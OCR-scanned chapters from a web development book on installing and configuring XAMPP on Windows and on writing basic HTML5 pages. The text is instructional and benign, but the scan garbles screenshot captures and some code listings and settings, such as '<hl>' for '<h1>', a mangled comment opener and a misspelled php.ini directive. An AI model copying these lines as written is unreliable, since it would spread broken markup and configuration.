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Chapter 5: Setting Up Vour Web
Development Environment
with the XAMPP Package

In This Chapter
v Downloading and installing XAMPP

v Testing and configuring your development environment

v+ Troubleshooting your XAMPP installation

AMPP is a popular all-in-one kit that installs Apache, MySQL, and PHP
in one procedure. XAMPP also installs phpMyAdmin, a web application
you can use to administer your MySQL databases.

XAMPP can greatly simplify the installation process. The XAMPP installation
installs all the software you need for the applications discussed in this book.

According to the XAMPP website, XAMPP is intended as a development
environment on a local computer. As a development environment, XAMPP
is configured to be as open as possible. XAMPP isn’t intended for produc-
tion use — it isn’t secure as a production environment. Before using XAMPP
to make a website available to the public, you need to tighten the security.
Security is discussed in detail in Book IV.

XAMPP has stable versions available for Windows, Mac, and several ver-
sions of Linux. Because XAMPP installs Apache, MySQL, and PHP, it is
appropriate to use for installation only on a computer that doesn’t have any
of the three packages already installed.

Because Apache is preinstalled on many Linux and Mac computers and
often MySQL and/or PHP are as well, you're most likely to use XAMPP for
installation in a Windows environment. For that reason, this chapter pro-
vides instructions only for Windows installations.

Obtaining XAMPP

You can download XAMPP for Windows from www . apachefriends.
org/en/xampp-windows .html. As of this writing, the current version of
XAMPP installs the following:


http://www.apachefriends.org/en/xampp-windows.html
http://www.apachefriends.org/en/xampp-windows.html
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Installing XAMPP

4+ MySQL

4+ PHP

4+ Apache

4+ phpMyAdmin

Scroll down the web page until you come to the Download section. Under
the listing for XAMPP for Windows, click the Installer link to download the
Installer version.

The downloaded file is named xampp-win32-, followed by the version and
library number, followed by -installer.exe, such as xampp-win32-
1.8.0-vC9-installer.exe. Save the downloaded file on your hard drive
in an easy-to-find place, such as the desktop.

Installing XAMPP

After you've downloaded XAMPP, follow these steps to install it:
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1.

Navigate to the location where you saved the downloaded XAMPP file.

The file is named something like xampp-win32-1.8.0-VC9-
installer.exe.

Double-click the file.
The Setup Wizard starts.

If you're installing on Windows Vista, 7, or 8, you cannot install in the
Program Files folder because of a protection problem. Also, PHP some-
times has a problem running if it’s installed in a folder with a space in
the path or filename, such as Program Files.

Read and click through the next few screens until the Choose Install
Location screen appears, as shown in Figure 5-1.

It’s best to accept the default location (c: \xampp) unless you have a
really good reason to choose another location. You can click Browse to
select another install folder.

When you’ve chosen the install folder, click Next.
The XAMPP Options screen appears, as shown in Figure 5-2.

Under Service Section, select the Install Apache as Service and the
Install MySQL as Service check boxes.

This installs the tools as Windows services, which causes them to start
automatically when the computer starts.
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6. Click the Install button.

Installing XAMPP
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The installation process takes a few minutes to complete. As the installa-
tion proceeds, you see various files and components being installed on
your system, in the location you specified. A status bar shows the instal-

lation progress.

When the installation is complete, the Installation Complete screen

appears.

7. Click Finish.

A small window opens, and additional messages are displayed. When
this part of the installation is finished, a screen displays a message let-
ting you know that the service installation is finished.
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8. Click OK.

The following question is displayed:
Start the XAMPP Control Panel now?
The screen displays a Yes and a No button.
9. Click Yes.
The XAMPP Control Panel appears.

Using the XAMPP Control Panel

Figure 5-3:
The XAMPP
Control
Panelicon.

XAMPP provides a Control Panel for efficient management of the software

in the XAMPP package. You can use the Control Panel to determine whether
Apache and MySQL are currently running and to start or stop them. Before
you can use your development environment, Apache and MySQL must be
running. This section tells you how to use the Control Panel to start and stop
Apache and MySQL.

The XAMPP Control Panel can run continuously, ready for you to use at
all times. When the Control Panel is running, you see an orange icon in the
system tray at the bottom right of your computer screen, as shown in
Figure 5-3.

| @% 5:43 PM
i

If the XAMPP icon is in your system tray, you can click it to open the Control
Panel. If you don’t have the icon in your system tray, you can open the
Control Panel by choosing Start=>All Programs=>Apache Friends=®>XAMPP=>
XAMPP Control Panel. If you attempt to open the Control Panel when it’s
already running, an error message is displayed.

Figure 5-4 shows the open Control Panel with Apache and MySQL running. If

the installation went smoothly, your control panel will appear like this when

you open it after installation. Both Apache and MySQL are shown as running,
and the Service check boxes are selected. Your development environment is
ready to go.



Figure 5-4:
The XAMPP
Control
Panel.
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[ 36AMPP Control Panel w2.0.12 [ Compiled: June 24th 2012 ] =2 E=R~==)
XAMPP Control Panel v3.0.12 L..Cenfig

Modules [ metstat |

Service Module  PID(s} Port(s) Actions

M tesche  wzm 30,445 [ stap ) (admin ] (anfa] [ings] AMEEcSheI]

M omse oz 1306 (ston ] [Ldmin ] [_Confia ] [ ioms ] _cxilerer |

(%] ritezita (st ) [ Adroin | (onfia ] [_iogs ] [Min:serviees |
Meroury [Cstart | [ admin | [Config | [ Logs | fielp

(%]  Tomear [Cstart | | admin | [confia | [ togs | [ Qut |

2:39:50 PM [main] HAMPP Installation Directory: "¢ xamppl" 3
2:29:50 PM [main] Initializing Maodules

2:39:50 PM [apache] HAMPP Apache Service is already running on port S0

2:29:50 P [apache] HKAMPP &pache Senice is already running on port 443

23950 PM [mysql] HAMPP MySQL Service is already running on port 33086

2:29:50 PM [rmain] Starting Check-Timer
2:39:50 PM [main] Control Panel Ready

Occasionally, XAMPP isn’t able to start either Apache or MySQL as a service
during installation. The Control Panel lists the software, showing that it

was installed, but the status does not display as running. Both Apache and
MySQL must be running before you can use your development environment.

To start Apache or MySQL when they are not running, select the Service
check box and click the Start button. If XAMPP is successful in starting the
software, the status will display as running. If XAMPP is unsuccessful in
starting the software as a service, you may need to start the software with-
out selecting the Service check box. See the “Troubleshooting” section at
the end of this chapter for more information on starting Apache and MySQL
when you have a problem.

A Stop button is displayed for each software package that’s running. You can
stop the software, appropriately enough, by clicking the Stop button. You
sometimes need to stop the software, such as when you need to upgrade it.

You need to restart Apache whenever you make changes to your PHP con-
figuration, as described throughout this book. To restart Apache, click the
Stop button and then, after Apache is stopped, click the Start button.

If you close the Control Panel by clicking Exit, the program ends, and you
don’t have a XAMPP Control Panel icon in your system tray. If you just close
the Control Panel window by clicking the X in the upper-right corner of the
window, the Control Panel icon remains available in your system tray.

Testing Your Development Environment

After you install the XAMPP package and start Apache and MySQL, your
environment should be ready to go. You can test your installation by per-
forming the following in any order:
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Figure 5-5:
The XAMPP
Welcome

page.

4 Opening the XAMPP web page
4+ Opening phpMyAdmin

4 Running a test PHP script

Opening the XAMPP web page

To test the XAMPP installation, follow these steps:

1.
2.

Open a browser.
Type localhost in the browser’s address bar.

In some cases, if your local machine isn’t set up to recognize localhost,
you might need to type 127.0.0.1 instead.

An XAMPP web page displays, providing a choice of languages. In some
cases, XAMPP has already set your language choice and doesn’t ask
again. In this case, you don’t need to do Step 3 because your browser is
already at the page shown in Figure 5-5.

Click your preferred language.
The XAMPP Welcome page displays, as shown in Figure 5-5.

If the web page doesn’t display, Apache may not be running. Use your
Control Panel to manage Apache, as described in the preceding section.

Click the Status link in the panel on the left side of the page.

A list of software appears, showing which software is activated. MySQL
and PHP should be listed as activated. Apache isn’t listed because if
Apache isn’t running, you can’t see this page at all.

@\il@ hitp:/lacalhastiampp/index.php - B¢ x| @ xampr 180 [ ] e

XAM PP for WindOWS :::iﬁs:lr’DEuischrFranm\s,Nederlindi, Palski/ Italiano « Nervegian /

=X 7 Portugués (Brasil); B£H
Welcome to XAMPP for Windows!

Congratulations:
You have successfully installed XAMPP on this system!

I

++++ ++++ A great thank you to hackattack142 for this new fine Control Panel! ++++ ++++

Documentation
Components

) XAMPP 1.6.0 - Moaila Fielors ul _injx|
Catel  Eearbeiten st Chronk  Lesezokhen  Egiras  Hife
[ [

phpinfo() &0 [ bcabossaron & [H - ceuae PRI EI0N
CD Collection -

etork ¢ XAMPP fiir WIindows ..o cows s s o e

Phone Book

Perl

periinfo(}
Guest Book

XAMPP-Status

uf disser Obsrsicht kann man sshen welchs bazw. walche
safierr nichts an der Konfiguration won KAMPR gadndart wurde, solltan MySQL, PHP, Parl, CGI und SSI aktiviert sei. 2
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Testing phpMyAdmin

From the XAMPP Welcome page (see the preceding section), you can open
phpMyAdmin to test whether it’s installed. Click the phpMyAdmin link in
the Tools section toward the bottom of the left panel. If phpMyAdmin is
installed, it opens in your browser.

If the phpMyAdmin page doesn’t open, be sure Apache is started. You can
manage Apache as described in the “Using the XAMPP Control Panel” sec-
tion, earlier in this chapter.

Testing PHP

To test whether PHP is installed and working, follow these steps:

1. Locate the directory in which your PHP scripts need to be saved.

This directory and the subdirectories within it are your web space.

This is the space where Apache looks for your scripts when you type
localhost. This directory is called htdocs and is located in the directory
where you installed XAMPP, such as c: \xampp\htdocs.

You can change the location of your web space in the Apache configu-
ration file. Changing Apache configuration is described in the section,
“Configuring Apache,” later in this chapter.

2. Create a text file in your web space with the name test .php.
The file should contain the following content:

<html>
<head><title>PHP test</title></head>
<body>
<?php
phpinfo () ;
?>
</body>
</html>

3. Open a browser and type localhost/test.php into the address bar.

The output from this PHP script is a long list of settings and variables for
your PHP installation, as shown in Figure 5-6.

4. Scroll down the list to find a section of settings for MySQL.

The software sections are listed in alphabetical order, starting with
bcmath. The MySQL sections are located about halfway down the list.
You find two blocks, one headed mysql and one headed mysqli. The
difference between mysql and mysqli is explained in Chapter 4 of this
minibook.
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Figure 5-6:
Output from
the PHP
script.

Configuring Your Development Environment

File Edit View Go Bookmarks Tools Help
<’\::I - - @ @ ] nitp:Mocalhostitest. php | @ Go ([GL
LI Custamize Links || Free Hotmail ] RealPlayer || Windows Media [ YWindows
~
PHP Version 5.2.2 Php
System Windows NT GRACE 5.1 huild 2600
Build Date iy 2 2007 191 7:46
Configure Command cscriptfnologo configure js "--enable-snapshot-huild" "--with-gd=shared"
Server API Apache 2.0 Handler
Virtual Directory Support enabled
Configuration File {php.ini) CIVINDOWE
Path
Loaded Configuration File Champplapachethiniphpini
PHP API 20041225
PHP Extension 20060613
Zend Extension 220060519
Debug Build no
Thread Safety enabled
Zend Memory Manager enabled
IPv6 Support enabled
< *
Dane

When your PHP script runs correctly and the output includes a block of set-
tings for MySQL support, your environment is ready for your development
work.

If the PHP script doesn’t run, be sure Apache is started. You can manage
Apache as described in the “Using the XAMPP Control Panel” section, earlier
in this chapter.

Configuring Your Development Environment

SMBER

Apache, MySQL, and PHP can be configured. Their configuration settings are
stored in text files, which you can edit. When XAMPP installs the software,

it creates configuration files with default settings so that the software runs
with common settings. However, you might need to change the configuration
for various reasons. Configuration settings are described throughout the
book when the particular feature being configured is discussed.

XAMPP installs all the software in the directory you designated during instal-
lation, such as c: \xampp, which is the default directory. XAMPP configures
the software to look for the configuration files in this directory. If you need
to change any configuration settings, you must edit the configuration files in
this directory, not in the directories that are mentioned in help files or other
documentation for the individual software.
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Configuring PHP

PHP uses settings in a file named php. ini to control some of its behavior.
PHP looks for php . ini when it begins and uses the settings that it finds.
If PHP can’t find the file, it uses a set of default settings.

XAMPP stores the php. ini file in the apache\bin directory in the main
XAMPP folder. For example, if XAMPP is located in the default directory, you
edit the file ¢ : \xampp\apache\bin\php. ini to change PHP configuration
settings.

To configure PHP, follow these steps:

1. Open the php. ini file for editing in a text editor.
2. Edit the settings you want to change.

Steps 3 and 4 mention some specific settings that you should always
change if you're using the specified environment.

3. Only if you’re using PHP 5 or earlier, turn off magic quotes.
Look for the following line:
magic-quotes-gpc On
Change On to Of £.
4. Only if you’re using PHP 5 or later, set your local time zone.
Find the line:
;date.timezone =

Remove the semicolon from the beginning of the line. Add the code for
your local time zone after the equals sign. For instance, the line might be

date.timezone = America/Los_Angeles

You can find a list of time zone codes at www.php .net/manual/en/
timezones.php.

5. Save the php. ini file.

6. Restart Apache so that the new settings go into effect.

In general, the remaining default settings allow PHP to run okay, but you
might need to edit some of these settings for specific reasons. We discuss

settings in the php . ini file throughout this book when we discuss a topic
that might require you to change settings.

Configuring Apache
The Apache configuration settings are stored in a file named httpd. conf.
This file needs some directives in order for PHP to work. XAMPP adds
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these directives when it installs the software so you don’t need to configure
Apache to make PHP work.

However, you can change some of Apache’s behavior with directives in the
httpd.conf file. For instance, you can change where Apache looks for web
page files and what port number Apache listens on. Some of the directives
you can change are described in Chapter 2 of this minibook. All the Apache
directives are described in the Apache website at httpd.apache.org.

To change the configuration for Apache that was installed using XAMPP, you
need to find the httpd. conf file in the apache\conf folder in the main
folder where XAMPP was installed. For instance, if XAMPP is installed in

the default directory, the Apache configuration file is ¢ : \xampp\apache\
conf\httpd.conf.

Configuring MySQL

MySQL creates a configuration file when it’s installed. Most people don’t
need to change the MySQL configuration. However, you might want to
change it in order to store your MySQL databases somewhere other than the
default location. In fact, the XAMPP installation configures MySQL to look for
the data directory in the XAMPP directory, which isn’t the default location
for MySQL, so XAMPP configures its data directory setting for you. If you
want to store your data in a different location, you can change the setting
yourself. Instructions for changing the configuration for MySQL are provided
in Chapter 4 of this minibook.

To change the configuration for MySQL that was installed using XAMPP,

you need to find the my . cnf file in the mysgl \bin folder in the main folder
where XAMPP was installed. For instance, if XAMPP is installed in the default
directory, the MySQL configuration file is ¢ : \xampp\mysgl\bin\my.cnf.

Uninstalling and Reinstalling XAMPP

If you feel you’ve made an error and want to install XAMPP again, you need
to uninstall it before reinstalling. To uninstall and then reinstall XAMPP,
follow these steps:

1. Stop both Apache and MySQL in the XAMPP Control Panel.

See the section, “Using the XAMPP Control Panel,” earlier in this
chapter.

If you don’t stop Apache and MySQL before you uninstall XAMPP, you
might encounter difficulties when you reinstall XAMPP. This is espe-
cially true if you started Apache and MySQL as services.
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2. Start the uninstall by choosing Start=>All Programs->Apache Friends-> Book |
XAMPP=>Uninstall. Chapter 5
The first screen of the uninstall procedure opens. < =
v
3. Move through the screens and answer the questions. - = EI % g
Q = = =
Click the Next button to move through the screens; answer the ques- T 3 g % ";
tions by selecting the appropriate options. &5 -8_ =
. ®=Z2SE T
You can save any databases or web pages you have created by selecting " 2%

the appropriate options.
A message is displayed when XAMPP is completely uninstalled.
4. Start the installation procedure again from the beginning.

See the earlier section, “Installing XAMPP,” for details.

Troubleshooting

Occasionally, when you look in the XAMPP Control Panel, you find Apache
and/or MySQL listed but not running, and the Service check box isn’t
selected. This means that XAMPP was not able to start Apache or MySQL as
a service during installation.

It’s best to run MySQL and Apache as a service, but not necessary. You can
start them without selecting the Service check box and your development
environment will work okay. You just need to restart MySQL and Apache
in the Control Panel whenever you start your computer. When MySQL

and Apache are both running as a service, they start automatically when
your computer starts. In most cases, you can start them as a service in the
Control Panel using the methods described in this section.

First, try selecting the Service check box and clicking the Start button.
XAMPP attempts to start the software as a service. If XAMPP is unsuccess-
ful, you will see a message displayed in the bottom box, stating that it isn’t
started or that it stopped. A second or third try might be successful.

When XAMPP is unsuccessful starting the software as a service over several
tries, click the Start button with the Service check box deselected. The soft-
ware will start. Then, stop the software by clicking the Stop button. Then,
start the software again with the Service check box selected. Usually, XAMPP
is now able to successfully start both packages as a service.

If you are unable to start MySQL and/or Apache as a service even after start-
ing them without selecting the Service check box and then stopping them,
you can run them without running them as services. They will run okay and
your development environment will work — you’ll just have to remember to
start them again when you start your computer.
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Chapter 1: Creating a
Basic Page with HTML

In This Chapter

v~ Getting the 411 on HTML and web pages

v~ Putting HTML tags into the correct section
v~ Integrating images and links into your page

v+~ Ensuring that your HTML is valid

HyperText Markup Language (HTML) is the language of the web. When
you go to a web page in your web browser such as Internet Explorer,
Firefox, or Safari, the browser downloads and displays HTML.

At its heart, HTML is just a document, much the same as a document you’d
make in a word processor. A program like Microsoft Word is used to view
word processor documents because it knows how to read and display them.
Likewise, when it comes to the web, the web browser is the program that
knows how to read and display documents created with HTML.

Word processor documents can be created and read with a single program.
On the other hand, HTML documents need different programs for creation
and reading; you can’t create HTML documents with a browser. You create
HTML documents using a program called an editor. This editor can be as
simple as the Notepad program that comes with Microsoft Windows or as
complex as Eclipse or Microsoft Visual Studio. You can typically use the
same program to create HTML documents that you use to create PHP pro-
grams.

This chapter describes HTML documents and shows how to build an HTML
page that you can view through a web browser using the most current ver-
sion, HTML5.

Understanding the HTML Building Blocks

HTML documents being just documents, they can be stored on any com-
puter. For instance, an HTML document can be stored in the Documents
folder on your computer. However, you’d be the only one who could view
that HTML document on your computer. To solve that problem, web docu-
ments or pages are typically stored on a computer with more resources,
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known as a web server. Storing the document on a web server enables other
people to view the document.

A web server is a computer that runs special software that knows how to
send (or serve) web pages to multiple people at the same time.

HTML documents are set up in a specific order, with certain parts coming
before others. They're structured like this so that the web browser knows
how to read and display them. When you create an HTML document, it’s
expected that you’ll follow this structure and set up your document so the
browser can read it.

Document types

Web browsers can display several types of documents, not just HTML, so
when creating a web document the first thing you do is tell the browser
what type of document is coming. You declare the type of document with a
special line of HTML at the top of the document.

Web browsers can usually read documents in many formats, including
HTML, XML, XHTML, SVG, and others. Each of these documents lives by
different rules and is set up differently. The document type tells the browser
what rules to follow when displaying the document.

In technical terms, the document type is called the Document Type
Declaration, or DTD for short.

In prior versions of HTML, developers needed to constantly copy and
paste the document type into the document because it was both long and
complicated. With the release of the latest version of HTML, called HTML5,
the document type has been greatly simplified. The document type for
HTMLS5 is

<!doctype html>

This will be the first line of every HTML document that you create, before
anything else. Any time you need to display HTML, you include a document
type, sometimes called a doctype.

You may be tempted to use <!doctype html5>, but there is no version
number associated with the HTML5 document type. When the next version
of HTML comes out, you won’t have to go back and update all your document
types to HTMLS6 (unless, of course, they change the document type definition
again!).

You may see the other, older document types in your career as an HTML
developer. They include:
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HTML 4.01 Strict <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML
4.01//EN"
"http://www.w3.0org/TR/html4d/strict.dtd">

HTML 4.01 Transitional<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML
4.01 Transitional//EN"
"http://www.w3.org/TR/html4d/loose.dtd">

XHTML 1.0 Strict <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0
Strict//EN"
"http://www.w3.org/TR/xhtmll/DTD/xhtmll-strict.dtd">

XHTML 1.1 DTD <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//
EN"
"http://www.w3.org/TR/xhtmll11l/DTD/xhtmlll.dtd">

Other document types exist as well, and most of them are similarly complex
and difficult to remember. If you see these document types on a web page,
you’ll know that the page may use slightly different syntax to create its
HTML document.

HTML documents are made up of letters and words enclosed in angle
brackets, sometimes called less-than or greater-than signs:

< >

For example, here’s the main element in an HTML document, also called the
root element:

<html>

Typically, H-TML elements have both opening and closing tags. Elements are
closed with a front-slash in front of the element name. Seeing <html> in the
document means that later on the document will have </html> to close that
element. It is said that everything in between the opening <html> and closing
</html> makes up the document and is wrapped inside of those elements.

Sections of an HTML Document

A\

HTML documents use a specific structure. This structure enables the
document to be read by a web browser. You’'ll now see the three main parts
of an HTML document.

Up until now you may have been thinking of HTML as creating documents.
What’s the difference between an HTML document and an HTML page?
Nothing. The two terms are interchangeable.
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92 Sections of an HTML Document

Before going into each section of the document, it’ll be useful to see the
whole thing, so without further delay, Listing 1-1 shows an entire HTML
document.

Listing 1-1: A Basic Web Page

<!doctype html>

<html>

<head>

<title>My First Document</title>
</head>

<body>

<div>My Web Page</div>

</body>

</html>

If you view this document in a web browser, you receive a page that has a
title in the browser’s title bar or tab bar and text that states:

My Web Page

Later sections in the chapter explain how to enhance this page with more
HTML elements and more text.

The root element

Though not a section of an HTML document, the root element is what wraps
around the entire document, appearing as the first thing after the doctype
and the last thing in the document.

The root element is opened with:

<html>

The root element is closed with:

</html>

The head section and title element

The head section of a document contains information about the document
itself. The head section is opened with:

<head>
The head section is closed with:

</head>
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The head section should not be confused with a header or menu on a page

Sections of an HTML Document

itself. The head section is a behind-the-scenes element of a page.

The head section can contain a lot of information about the page. This
information includes things like the title of the page, the language of the
page (English, Spanish, French, Swedish, and so on), whether the page
contains style information or additional helper programs, and other such

things common to the page.

itself.

These descriptive elements in the head section are sometimes called meta
elements because they’re common to the entire page or describe the page

You should always have a title element inside the head section. The title
element is what shows up in the title bar of the web browser or as the title of

the tab in the web browser, shown in Figure 1-1.

Figure 1-1:

The

title

element

shows up ‘
in the tab

| (22 My First Docurent | |

or title bar
of the web
browser.

93

What makes a good title element?

Title elements should be descriptive of the
page contents but not overly so. Frequently
a title tag may have the site name along with
something descriptive about the page itself. For
example, www .braingia.org has “Steve
Suehring — Official Site and Blog,” and then
navigating to a given page, say the Books page,
results in the title changing to “Books | Steve
Suehring — Official Site and Blog.” The title is

therefore both descriptive of the page as well
as the site.

Page titles are used by search engines like
Google as one factor to help determine whether
your page is relevant, therefore placing it higher
in the search results. Google, for example,
displays up to 66 characters of the title tag. So
keeping the title short but sweet is key.
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Creating Good HTML

The body section

The body section is the heart of a web page. It’s where you place all the text
and images for the page. Essentially everything that you see when you view
a page (with the exception of the title) is found within the body section.

The body section opens with:

<body>

The body section closes with:

</body>

Just like the head section can contain other elements like the title and meta
information, the body section can contain several HTML elements as well.

For example, inside the body section you find all the link and image elements
along with paragraphs, tables, and whatever else is necessary to display the

page.

Later in this chapter, you see how to add links and images to a page. Next
you learn about the basic page elements found on a web page.

Creating Good HTML

A good web page is structured in a logical order. This means that you place
elements in a certain order so that they can be read properly by a web
browser and that any time you open an element you also close that element
using the corresponding tag that includes angle brackets and a forward
slash. Doing so ensures that the page will display like you want it to when
viewed in any web browser. Later in this chapter, you see how to check your
HTML document to make sure it’s structured correctly, but here we tell you
how to choose the appropriate elements for your needs.

Using the appropriate elements

Web pages frequently use several page elements, sometimes called tags.
Table 1-1 describes some of these elements.

Table 1-1 Common HTML Elements
Element Description Typical Use
<a> Anchor Creates a link to another page or a section

of the same document.

<br> Line break Enters a line break or return character.
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Element Description Typical Use
<div> A sectionof a Creates overall areas or logical divisions on
page a page, such as a heading/menu section, a

content area, or a footer.

<form> Web form Creates a web form to accept user input.
Covered in Chapter 3 of this minibook.

<hl> Heading Creates a container for a heading, such as

through heading text.

<h6>

<hr> Hard rule Creates a horizontal line.

<img> Image A container for an image.

<input> Input An element to accept user input. Covered in
Chapter 3 of this minibook.

<link> Resource link Links to a resource for the page; not to be
confused with an anchor element.

<p> A paragraphin Creates textual paragraphs or other areas

a page and containers for text.

<script> A script tag Denotes a web script or program. Also fre-
quently found in the head section.

<span> Span Creates a container for an element.

Frequently used in conjunction with styling
information.

Related to the structure or layout of the elements is a concept called
semantic markup, which is a fancy term to say that you always use the right
element at the right time. In other words, you use the right kind of element
to hold text and the right kind of element to add line breaks to a page.
Consider these benefits of semantic markup:

4+ Improves search results. A primary benefit of semantic markup is that
visitors and search engines alike can find the information they need.

4+ Simplifies maintenance. A secondary benefit to semantic markup is that
it makes maintenance easier later on.

When a page is both semantically correct and valid HTML, it is said to be

well-formed.

Putting text on a page

There are many ways to insert text into a web page and many elements that
are appropriate for holding text. Heading elements such as <h1>, <h2>,
through <h6>, are the correct place to put headings, while <p>, <span>,
and <div> are appropriate containers for longer form text, such as
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paragraphs. Listing 1-2 shows a simple web page with two headings and
some paragraphs.

Listing 1-2: A Web Page with Headings and Paragraphs

<!doctype html>

<html>

<head>

<title>My First Document</title>

</head>

<body>

<hl>My Web Page</hl>

<p>Welcome to my web page. Here you'll find all sorts of
information about me.</p>

<h2>My Books</h2>

<p>You can find information on my books here as well.</p>

</body>

</html>

When viewed in a web browser, this page appears like Figure 1-2.

My Web Page
Welcome to my web page. Here vou'll find all sorts of information about me.
My Books

You can find information on my books here as well.

Figure 1-2:

A simple

web

page with

headings

and

paragraphs.
As you can see from Figure 1-2, the information on the page includes an
<h1l> element, followed by a paragraph, <p>. When the paragraph is closed
with </p>, another heading element, this time an <h2>, is found. When the

o second heading is closed, </h2>, another paragraph is found.

It would’ve also been possible to substitute <div> elements in place of the
paragraph elements on the page.
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Creatmq your fN‘St page

Enough of us showing you HTML,; it’s time for you to build a page. You can
create HTML with any text editor; in fact, it often is better to use a plain text
editor rather than an expensive HTML creation tool.

It’s important to note that you should use a text editor and not a word
processor like Microsoft Word. Microsoft Word or a similar program like
Pages on a Mac add all sorts of extra formatting information that get in the
way of creating good HTML, even in their Save as HTML option.

Therefore, on Windows, use a program like Notepad. Even the Windows
program Wordpad can place extra formatting information in it. When it
comes to an HTML editor, the simpler the better.

The text editor included with Linux depends on the distribution of Linux
you’re using. One of your humble book authors’ (that would be Steve)
personal preference is for the command-line editor call Vi or Vim; a more
graphical experience is typically found with a program called gEdit — the
default text editor for Ubuntu.

Mac includes a program called TextEdit that can be used for creating plain
text documents — but be careful: The TextEdit program will attempt to save
files in Rich Text Format (RTF) by default. When creating or saving files with
TextEdit, select Plain Text from the File Format drop-down menu.

This chapter focuses on the basics. Don’t worry that your web page
doesn’t look stylish. The next chapter explains how to style your page with
Cascading Style Sheets, or CSS.

Follow these steps to create your page:

1. Open your text editor.

See the preceding discussion about text editors. You want a text editor
that allows plain text without extra information.

2. In the text editor, enter the following HTML.

<!doctype html>

<html>

<head>

<title>My First Web Page</title>

</head>

<body>

<hl>My web page!</hl>

<p>Hello world, welcome to my web site</p>
</body>

</html>

3. Save the file as firstpage.html.
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<MBER
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Figure 1-3:
Your first
page,
viewed
through a
browser.

Save the file exactly as named, using lowercase throughout the name.
Later in the chapter, you can practice validating this file.

Apache, the web server used to send the files to your browser, is case
sensitive for filenames, so sticking with lowercase will save you lots of
headaches. Make sure the extension is .html and not . txt or another
extension. Save the file to your document root, which is discussed in
Book I. The document root location depends on how you’ve installed
Apache and on what type of system you're using.

If you're using a hosting provider, then this is the point where you
upload the file to their system.

4. Open your web browser to load the page.

In the web browser, point to http://localhost/firstpage.html.
When you do so, you'll see a page like Figure 1-3.

[E= EeH ==

-
(E)| @ rtprasiac O ~ B S X | @ myFirst Web Page |

My web page!

Hello world, welcome to my web site

Choosing block-level or inline elements

When you're considering which type of element to add to your page, think
about whether you’d like it to extend across the width of the page.

4 Block-level elements: Both <div> and <p> elements are known as
block-level elements. A block-level element displays across the entire
width of the page; nothing can appear next to or alongside a block-level
element. Essentially, think of block-level elements as having a carriage
return after them.

4+ Inline elements: Certain elements, primarily the <span> element, are
considered inline elements, which means that other elements can appear
next to them. In other words, inline elements don’t have a carriage
return after them.
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Inserting line breaks and spaces

There are times when you create a page and want to insert a line break. To
accomplish this action in a word processor, you simply press the Enter or
Return key on the keyboard. Things are not so simple in HTML. No matter
how many times you press Enter in an HTML document, the text will still
display on the same line in the web browser. Consider the code in Listing
1-3. It’s the same HTML as Listing 1-2, but has five extra carriage returns
inserted.

Listing 1-3: Trying to Insert Carriage Returns into HTML

<!doctype html>

<html>

<head>

<title>My First Document</title>

</head>

<body>

<hl>My Web Page</hl>

<p>Welcome to my web page. Here you'll find all sorts of
information about me.</p>

<h2>My Books</h2>

<p>You can find information on my books here as well.</p>
</body>

</html>

When viewed through a web browser, the output is the same as Figure 1-2
earlier in the chapter. You see no blank lines between the first paragraph
and the second heading.

The same thing happens to extra spaces in HTML. No matter how many
times you press the space bar on the keyboard in a web document, the most
you'll ever get is a single space. (We tell you more about how to add spaces
at the end of this section.)

The <br> tag is used to insert line breaks into web pages. Look at the code

in Listing 1-4. Instead of using the Enter key (or Return on a Mac), the <br>
tag is used to add carriage returns:

Listing 1-4:  Using <br> for Line Breaks

<!doctype html>
<html>
<head>
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Figure 1-4:
Using <br>
to insert
carriage
returns.

<title>My First Document</title>

</head>

<body>

<hl>My Web Page</hl>

<p>Welcome to my web page. Here you'll find all sorts of
information

about me.</p>

<br>

<br>

<br>

<br>

<br>

<h2>My Books</h2>

<p>You can find information on my books here as well.</p>

</body>

</html>

When viewed in a browser, the desired effect is shown, as illustrated in
Figure 1-4.

My Web Page

Welcome to my web page. Here you'll find all sorts of information about me.

My Books

You can find information on my books here as well.

You’'ll sometimes see an extra slash in some tags like <br> so they’ll be
written as <br />. This is a holdover from XHTML but is not necessary for
HTMLS5.

While we're on the subject, you’ll also notice that <br> doesn’t have a
closing partner, like a </br>. That’s ok. You can use <br> as-is, without
worrying about having to close it.

Adding spaces to HTML is accomplished with the &nbsp; entity sometimes
written as &#160 ;. However, there are better ways to accomplish spacing
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in HTML, chiefly through the use of Cascading Style Sheets (CSS). Therefore,
the use of the &nbsp; entity won’t be covered in favor of the more common
and more widely supported method through CSS — the topic in Chapter 2 of
this minibook.

Making your document easier to maintain

Developers frequently use comments to note behind-the-scenes information
about the page or about their code, and comments don’t display on the
web page. For example, a comment in a web page might be something like
“I added this on 10/19/2012” or “Added in support of our sales initiative.” If
you visit the web page, you can see those comments only by looking at the
page’s HTML file.

HTML comments are opened with this syntax:

<l--

HTML comments are closed with this syntax:

-

Everything that appears from the beginning <! -- to the first --> is considered

part of the comment. Listing 1-5 contains an example HTML document with a
comment.

Listing 1-5: Adding an HTML Comment

<!doctype html>

<html>

<head>

<title>My First Document</title>

</head>

<body>

<hl>My Web Page</hl>

<p>Welcome to my web page. Here you'll find all sorts of

information
about me.</p>
<!-- Adding information about my books 10/1/2012 -->

<h2>My Books</h2>

<p>You can find information on my books here as well.</p>
</body>

</html>

HTML comments are visible by the world and should never be used to store
any information considered privileged or private.

HTML comments can span multiple lines, as in the example in Listing 1-6:
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Listing 1-6: A Multi-line Comment

<!doctype html>
<html>
<head>
<title>My First Document</title>
</head>
<body>
<hl>My Web Page</hl>
<p>Welcome to my web page. Here you'll find all sorts of
information
about me.</p>
<l--
Adding information about my books
Date: 10/1/2012
-—>
<h2>My Books</h2>
<p>You can find information on my books here as well.</p>
</body>
</html>

In this comment, you can see that the actual text of the comment is
indented, which brings up another important point: It’s helpful to use
indentation when creating documents. Documents are easier to read and
maintain later when elements are indented, so that way you can clearly see
visually which elements are “inside” of which other elements.

Adding lists and tables

Lists and tables help to represent certain types of information. For example,
a list of trees in Steve’s yard is best represented with a list like this:

Pine

Oak

Elm

But if he wants to include more information about the trees, a table is a
better format:

Tree Type Description
Pine A common tree in my yard.
Oak There are a few oaks in my yard.

Elm [ have one Elm in my yard but it’s too close to the house.
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HTML has tags to create both lists and tables. Table 1-2 describes a variety
of such elements.

Table 1-2 Common List and Table Elements in HTML

Element Type Description

<li> List ltem Used in conjunction with <ul> or <ol1>to
create lists of information.

<ol> Order List An ordered list of information, used in
conjunction with <11>.

<table> Table Used with <tr>, <td>, and other elements
